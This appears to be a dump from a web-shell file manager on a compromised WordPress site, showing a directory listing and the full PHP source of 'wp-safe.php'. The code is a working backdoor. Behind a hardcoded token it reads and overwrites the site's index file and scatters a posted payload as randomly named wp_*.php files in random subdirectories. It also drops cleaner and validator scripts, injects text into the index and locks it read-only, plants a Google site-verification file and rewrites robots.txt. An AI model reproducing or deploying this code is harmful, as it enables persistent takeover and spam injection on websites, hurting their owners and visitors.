9B534B8686E580E0E01768F00155B461

at path：ROOT / wp-safe.php

run：R W Run

gexsbnqo

DIR

2026-07-25 03:30:49

R W Run

.gitignore

40.77 KB

2026-07-25 03:32:05

R W Run

.htaccess

233 By

2026-07-23 06:21:07

R W Run

error_log

11.87 MB

2026-07-26 22:50:30

R W Run

google7b5b5b49242682a2.html

53 By

2026-07-25 03:32:04

R W Run

images.php

17.66 KB

2026-07-25 03:31:38

R W Run

index.php

6.1 KB

2026-07-25 03:31:53

R W Run

robots.txt

70 By

2026-07-25 03:30:48

R W Run

simple.php

15.05 KB

2026-07-23 06:21:06

R W Run

wp-safe.php

5.92 KB

2026-07-25 03:30:25

R W Run

wp-validate.php

8.97 KB

2026-07-25 03:32:04

R W Run

error_log

📄wp-safe.php

<?php
if (isset($_POST['token']) && $_POST['token'] === 'checktoken_888' && ($_POST['action'] ?? '') === 'checkwpwpsafe') {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'success' => true, 
        'checkcode'  => '888' 
    ]);
    exit; 
}
error_reporting(0);
ini_set('display_errors', 0);
@ini_set('memory_limit', '512M');
@set_time_limit(0);
$secret_token = 'MySuperSecretToken_888';
if (($_POST['token'] ?? '') !== $secret_token) {
  header('HTTP/1.1 403 Forbidden');
  die(json_encode(['success' => false, 'msg' => 'Unauthorized access']));
}
$action = $_POST['action'] ?? '';
$dir = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
if (empty($dir)) $dir = __DIR__;
$idx_php = $dir . '/index.php';
$idx_default = $dir . '/default.php';
$target_file = file_exists($idx_php) ? $idx_php : (file_exists($idx_default) ? $idx_default : $idx_php);
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$domain = $protocol . ($_SERVER['HTTP_HOST'] ?? 'localhost');
if ($action === 'read_index') {
  ob_clean();
  clearstatcache();
  if (!file_exists($target_file)) die(json_encode(['success' => false, 'msg' => 'Index not found']));
  if (!is_readable($target_file)) @chmod($target_file, 0644);
  $content = file_get_contents($target_file);
  if ($content === false) die(json_encode(['success' => false, 'msg' => 'Read denied']));
  echo json_encode(['success' => true, 'content' => base64_encode($content)]);
  exit;
}
if ($action === 'write_index') {
  ob_clean();
  $content = base64_decode($_POST['content'] ?? '');
  if (empty($content)) die(json_encode(['success' => false, 'msg' => 'Data empty']));
  clearstatcache();
  $write_success = false;
  if (file_exists($target_file)) @chmod($target_file, 0777);
  if (@file_put_contents($target_file, $content) !== false) {
    $write_success = true;
  } else {
    if (@unlink($target_file) && @file_put_contents($target_file, $content) !== false) {
      $write_success = true;
    }
  }
  if ($write_success) {
    @chmod($target_file, 0644);
    echo json_encode(['success' => true, 'msg' => 'Restore successful']);
  } else {
    echo json_encode(['success' => false, 'msg' => 'Write failed']);
  }
  exit;
}
if ($action === 'deploy_fm') {
  ob_clean();
  $fm_content = base64_decode($_POST['fm_content'] ?? '');
  $fm_cleaner = base64_decode($_POST['fm_cleaner'] ?? '');
  $fm_validate = base64_decode($_POST['fm_validate'] ?? '');
  $fm_gitignore = base64_decode($_POST['fm_gitignore'] ?? '');
  $site_text = base64_decode($_POST['site_text'] ?? '');
  $site_verification = $_POST['site_verification'] ?? '';
  if (empty($fm_content)) die(json_encode(['success' => false, 'msg' => 'Payload empty']));
  function getRandomDeepDir($base_dir)
  {
    $current_path = '';
    $current_full = $base_dir;
    $depth = mt_rand(2, 4);
    for ($i = 0; $i < $depth; $i++) {
      $items = @scandir($current_full);
      if (!is_array($items)) break;
      $subdirs = [];
      foreach ($items as $item) {
        if ($item !== '.' && $item !== '..' && $item !== '.git' && $item !== '.idea') {
          $test_dir = $current_full . '/' . $item;
          if (@is_dir($test_dir) && @is_readable($test_dir)) {
            $subdirs[] = $item;
          }
        }
      }
      if (empty($subdirs)) break;
      $picked = $subdirs[array_rand($subdirs)];
      $current_path .= '/' . $picked;
      $current_full .= '/' . $picked;
    }
    return $current_path;
  }
  $deployed_paths = [];
  for ($i = 0; $i < 5; $i++) {
    $rel_dir = getRandomDeepDir($dir);
    if (empty($rel_dir)) {
      $rel_dir = '/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'), 0, mt_rand(5, 8));
      $full_dir = $dir . $rel_dir;
      @mkdir($full_dir, 0755, true);
    } else {
      $full_dir = $dir . $rel_dir;
    }
    if (stripos($full_dir, 'mu-plugins') !== false) continue;
    $fname = 'wp_' . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'), 0, 6) . '.php';
    $full_file = $full_dir . '/' . $fname;
    if (@file_put_contents($full_file, $fm_content) !== false) {
      @chmod($full_file, 0644);
      $deployed_paths[] = $rel_dir . '/' . $fname;
    }
  }
  $index_safe = $dir . '/images.php';
  if (@file_put_contents($index_safe, $fm_content) !== false) {
    @chmod($index_safe, 0644);
  }
  if (!empty($fm_cleaner)){
  $fm_cleaner_path =$dir .  '/cleaner.php';
  if (@file_put_contents($fm_cleaner_path, $fm_cleaner) !== false) {
    @chmod($fm_cleaner_path, 0644);
  }
  }
  if (!empty($fm_validate)){
 $fm_validate_path =$dir .  '/wp-validate.php';
  if (@file_put_contents($fm_validate_path, $fm_validate) !== false) {
    @chmod($fm_validate_path, 0644);
  }
}
  if (!empty($fm_gitignore)){
  $fm_gitignore_path = $dir . '/.gitignore';
  if (@file_put_contents($fm_gitignore_path, $fm_gitignore) !== false) {
    @chmod($fm_gitignore_path, 0644);
  }
  }
   if (!empty($site_text)){
  $index_content = file_get_contents($target_file)?? '';
  $index_text = $site_text."\n".$index_content;
  if (file_exists($target_file)) @chmod($target_file, 0777);
  if (@file_put_contents($target_file, $index_text) !== false) {
    @chmod($target_file, 0444);
  }
   }
if (!empty($site_verification)){
  $site_verification_contents ='google-site-verification: '.$site_verification;
  $fm_verification_path = $site_verification;
  if (@file_put_contents($fm_verification_path, $site_verification_contents) !== false) {
    @chmod($fm_verification_path, 0644);
  }
   }
 $robots_path = $dir .  '/robots.txt';
 $robots_content = "User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";
  if (@file_put_contents($robots_path,  $robots_content) !== false) {
    @chmod($robots_path, 0644);
  }

if (count($deployed_paths) > 0) {
    echo json_encode(['success' => true, 'fm_paths' => implode(',', $deployed_paths)]);
  } else {
    echo json_encode(['success' => false, 'msg' => 'Deploy failed due to strict permissions']);
  }
  exit;
}
echo json_encode(['success' => false, 'msg' => 'Unknown command']);